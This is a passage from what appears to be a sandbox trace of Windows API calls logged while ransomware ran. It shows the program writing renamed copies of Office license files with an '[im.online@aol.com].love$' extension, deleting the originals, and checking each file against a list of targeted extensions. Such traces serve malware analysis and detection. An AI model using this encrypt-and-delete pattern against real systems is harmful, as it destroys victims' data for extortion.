lpFileSize=0x35aff14 | out: lpFileSize=0x35aff14*=11179) returned 1 [0275.622] CloseHandle (hObject=0x4b0) returned 1 [0275.622] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest2-pl.xrm-ms")) returned 0x220 [0275.622] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest2-pl.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0275.623] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest2-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0275.623] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0275.623] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0275.623] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest2-pl.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0275.625] GetLastError () returned 0x0 [0275.625] ReadFile (in: hFile=0x4b0, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0x2bab, lpOverlapped=0x0) returned 1 [0275.628] WriteFile (in: hFile=0x3f4, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0x2bb0, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afc94*=0x2bb0, lpOverlapped=0x0) returned 1 [0275.633] ReadFile (in: hFile=0x4b0, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0x0, lpOverlapped=0x0) returned 1 [0275.633] WriteFile (in: hFile=0x3f4, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afc94*=0x114, lpOverlapped=0x0) returned 1 [0275.633] SetEndOfFile (hFile=0x3f4) returned 1 [0275.633] CloseHandle (hObject=0x3f4) returned 1 [0275.633] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0275.634] SetEndOfFile (hFile=0x4b0) returned 1 [0275.638] CloseHandle (hObject=0x4b0) returned 1 [0275.639] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0275.639] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest2-pl.xrm-ms")) returned 1 [0275.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-pl.xrm-ms") returned 82 [0275.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-pl.xrm-ms") returned 82 [0275.641] lstrlenW (lpString=".doc") returned 4 [0275.641] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0275.641] lstrlenW (lpString=".docx") returned 5 [0275.641] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0275.641] lstrlenW (lpString=".pdf") returned 4 [0275.641] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0275.641] lstrlenW (lpString=".xls") returned 4 [0275.641] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0275.641] lstrlenW (lpString=".xlsx") returned 5 [0275.641] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0275.641] lstrlenW (lpString=".ppt") returned 4 [0275.641] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0275.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-pl.xrm-ms") returned 82 [0275.642] lstrlenW (lpString=".zip") returned 4 [0275.642] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0275.642] lstrlenW (lpString=".rar") returned 4 [0275.642] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0275.642] lstrlenW (lpString=".bz2") returned 4 [0275.642] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0275.642] lstrlenW (lpString=".7z") returned 3 [0275.642] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0275.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-pl.xrm-ms") returned 82 [0275.642] lstrlenW (lpString=".dbf") returned 4 [0275.642] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0275.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-pl.xrm-ms") returned 82 [0275.642] lstrlenW (lpString=".1cd") returned 4 [0275.642] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0275.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-pl.xrm-ms") returned 82 [0275.642] lstrlenW (lpString=".jpg") returned 4 [0275.642] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0275.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-pl.xrm-ms") returned 82 [0275.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-pl.xrm-ms") returned 82 [0275.642] lstrlenW (lpString=".doc") returned 4 [0275.642] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0275.642] lstrlenW (lpString=".docx") returned 5 [0275.642] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0275.642] lstrlenW (lpString=".pdf") returned 4 [0275.643] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0275.643] lstrlenW (lpString=".xls") returned 4 [0275.643] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0275.643] lstrlenW (lpString=".xlsx") returned 5 [0275.643] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0275.643] lstrlenW (lpString=".ppt") returned 4 [0275.643] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0275.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-pl.xrm-ms") returned 82 [0275.643] lstrlenW (lpString=".zip") returned 4 [0275.643] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0275.643] lstrlenW (lpString=".rar") returned 4 [0275.643] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0275.643] lstrlenW (lpString=".bz2") returned 4 [0275.643] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0275.643] lstrlenW (lpString=".7z") returned 3 [0275.643] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0275.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-pl.xrm-ms") returned 82 [0275.643] lstrlenW (lpString=".dbf") returned 4 [0275.643] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0275.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-pl.xrm-ms") returned 82 [0275.643] lstrlenW (lpString=".1cd") returned 4 [0275.643] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0275.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-pl.xrm-ms") returned 82 [0275.643] lstrlenW (lpString=".jpg") returned 4 [0275.643] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0275.644] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0275.644] lstrlenW (lpString="O365HomePremR_SubTest2-ppd.xrm-ms") returned 33 [0275.644] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest2-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0275.645] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x35aff14 | out: lpFileSize=0x35aff14*=23134) returned 1 [0275.645] CloseHandle (hObject=0x4b0) returned 1 [0275.646] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest2-ppd.xrm-ms")) returned 0x220 [0275.646] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest2-ppd.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0275.646] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest2-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0275.647] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0275.647] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0275.647] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest2-ppd.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0275.649] GetLastError () returned 0x0 [0275.649] ReadFile (in: hFile=0x4b0, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0x5a5e, lpOverlapped=0x0) returned 1 [0276.037] WriteFile (in: hFile=0x3f4, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0x5a60, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afc94*=0x5a60, lpOverlapped=0x0) returned 1 [0276.039] ReadFile (in: hFile=0x4b0, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0x0, lpOverlapped=0x0) returned 1 [0276.039] WriteFile (in: hFile=0x3f4, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afc94*=0x116, lpOverlapped=0x0) returned 1 [0276.039] SetEndOfFile (hFile=0x3f4) returned 1 [0276.040] CloseHandle (hObject=0x3f4) returned 1 [0276.040] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0276.040] SetEndOfFile (hFile=0x4b0) returned 1 [0276.044] CloseHandle (hObject=0x4b0) returned 1 [0276.044] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0276.044] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest2-ppd.xrm-ms")) returned 1 [0276.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ppd.xrm-ms") returned 83 [0276.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ppd.xrm-ms") returned 83 [0276.046] lstrlenW (lpString=".doc") returned 4 [0276.046] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0276.046] lstrlenW (lpString=".docx") returned 5 [0276.046] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0276.046] lstrlenW (lpString=".pdf") returned 4 [0276.046] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0276.046] lstrlenW (lpString=".xls") returned 4 [0276.046] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0276.046] lstrlenW (lpString=".xlsx") returned 5 [0276.046] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0276.046] lstrlenW (lpString=".ppt") returned 4 [0276.046] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0276.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ppd.xrm-ms") returned 83 [0276.046] lstrlenW (lpString=".zip") returned 4 [0276.047] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0276.047] lstrlenW (lpString=".rar") returned 4 [0276.047] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0276.047] lstrlenW (lpString=".bz2") returned 4 [0276.047] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0276.047] lstrlenW (lpString=".7z") returned 3 [0276.047] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0276.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ppd.xrm-ms") returned 83 [0276.047] lstrlenW (lpString=".dbf") returned 4 [0276.047] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0276.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ppd.xrm-ms") returned 83 [0276.047] lstrlenW (lpString=".1cd") returned 4 [0276.047] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0276.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ppd.xrm-ms") returned 83 [0276.047] lstrlenW (lpString=".jpg") returned 4 [0276.047] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0276.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ppd.xrm-ms") returned 83 [0276.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ppd.xrm-ms") returned 83 [0276.047] lstrlenW (lpString=".doc") returned 4 [0276.047] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0276.047] lstrlenW (lpString=".docx") returned 5 [0276.047] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0276.047] lstrlenW (lpString=".pdf") returned 4 [0276.047] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0276.047] lstrlenW (lpString=".xls") returned 4 [0276.047] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0276.047] lstrlenW (lpString=".xlsx") returned 5 [0276.047] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0276.048] lstrlenW (lpString=".ppt") returned 4 [0276.048] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0276.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ppd.xrm-ms") returned 83 [0276.048] lstrlenW (lpString=".zip") returned 4 [0276.048] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0276.048] lstrlenW (lpString=".rar") returned 4 [0276.048] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0276.048] lstrlenW (lpString=".bz2") returned 4 [0276.048] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0276.048] lstrlenW (lpString=".7z") returned 3 [0276.048] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0276.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ppd.xrm-ms") returned 83 [0276.048] lstrlenW (lpString=".dbf") returned 4 [0276.048] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0276.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ppd.xrm-ms") returned 83 [0276.048] lstrlenW (lpString=".1cd") returned 4 [0276.048] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0276.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ppd.xrm-ms") returned 83 [0276.048] lstrlenW (lpString=".jpg") returned 4 [0276.048] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0276.048] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0276.048] lstrlenW (lpString="O365HomePremR_SubTest4-pl.xrm-ms") returned 32 [0276.049] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest4-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0276.050] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x35aff14 | out: lpFileSize=0x35aff14*=11179) returned 1 [0276.050] CloseHandle (hObject=0x4b0) returned 1 [0276.050] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest4-pl.xrm-ms")) returned 0x220 [0276.050] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest4-pl.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0276.051] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest4-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0276.051] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0276.051] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0276.051] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest4-pl.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0276.053] GetLastError () returned 0x0 [0276.053] ReadFile (in: hFile=0x4b0, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0x2bab, lpOverlapped=0x0) returned 1 [0276.056] WriteFile (in: hFile=0x3f4, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0x2bb0, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afc94*=0x2bb0, lpOverlapped=0x0) returned 1 [0276.057] ReadFile (in: hFile=0x4b0, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0x0, lpOverlapped=0x0) returned 1 [0276.057] WriteFile (in: hFile=0x3f4, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afc94*=0x114, lpOverlapped=0x0) returned 1 [0276.058] SetEndOfFile (hFile=0x3f4) returned 1 [0276.058] CloseHandle (hObject=0x3f4) returned 1 [0276.058] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0276.058] SetEndOfFile (hFile=0x4b0) returned 1 [0276.062] CloseHandle (hObject=0x4b0) returned 1 [0276.062] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0276.063] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest4-pl.xrm-ms")) returned 1 [0276.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-pl.xrm-ms") returned 82 [0276.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-pl.xrm-ms") returned 82 [0276.065] lstrlenW (lpString=".doc") returned 4 [0276.065] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0276.065] lstrlenW (lpString=".docx") returned 5 [0276.065] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0276.065] lstrlenW (lpString=".pdf") returned 4 [0276.065] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0276.065] lstrlenW (lpString=".xls") returned 4 [0276.065] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0276.065] lstrlenW (lpString=".xlsx") returned 5 [0276.065] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0276.065] lstrlenW (lpString=".ppt") returned 4 [0276.065] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0276.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-pl.xrm-ms") returned 82 [0276.065] lstrlenW (lpString=".zip") returned 4 [0276.065] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0276.065] lstrlenW (lpString=".rar") returned 4 [0276.065] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0276.065] lstrlenW (lpString=".bz2") returned 4 [0276.065] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0276.065] lstrlenW (lpString=".7z") returned 3 [0276.065] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0276.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-pl.xrm-ms") returned 82 [0276.066] lstrlenW (lpString=".dbf") returned 4 [0276.066] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0276.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-pl.xrm-ms") returned 82 [0276.066] lstrlenW (lpString=".1cd") returned 4 [0276.066] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0276.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-pl.xrm-ms") returned 82 [0276.066] lstrlenW (lpString=".jpg") returned 4 [0276.066] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0276.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-pl.xrm-ms") returned 82 [0276.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-pl.xrm-ms") returned 82 [0276.066] lstrlenW (lpString=".doc") returned 4 [0276.066] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0276.066] lstrlenW (lpString=".docx") returned 5 [0276.066] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0276.066] lstrlenW (lpString=".pdf") returned 4 [0276.066] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0276.066] lstrlenW (lpString=".xls") returned 4 [0276.066] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0276.066] lstrlenW (lpString=".xlsx") returned 5 [0276.066] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0276.066] lstrlenW (lpString=".ppt") returned 4 [0276.066] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0276.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-pl.xrm-ms") returned 82 [0276.066] lstrlenW (lpString=".zip") returned 4 [0276.066] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0276.067] lstrlenW (lpString=".rar") returned 4 [0276.067] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0276.067] lstrlenW (lpString=".bz2") returned 4 [0276.067] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0276.067] lstrlenW (lpString=".7z") returned 3 [0276.067] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0276.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-pl.xrm-ms") returned 82 [0276.067] lstrlenW (lpString=".dbf") returned 4 [0276.067] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0276.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-pl.xrm-ms") returned 82 [0276.067] lstrlenW (lpString=".1cd") returned 4 [0276.067] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0276.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-pl.xrm-ms") returned 82 [0276.067] lstrlenW (lpString=".jpg") returned 4 [0276.067] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0276.067] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0276.067] lstrlenW 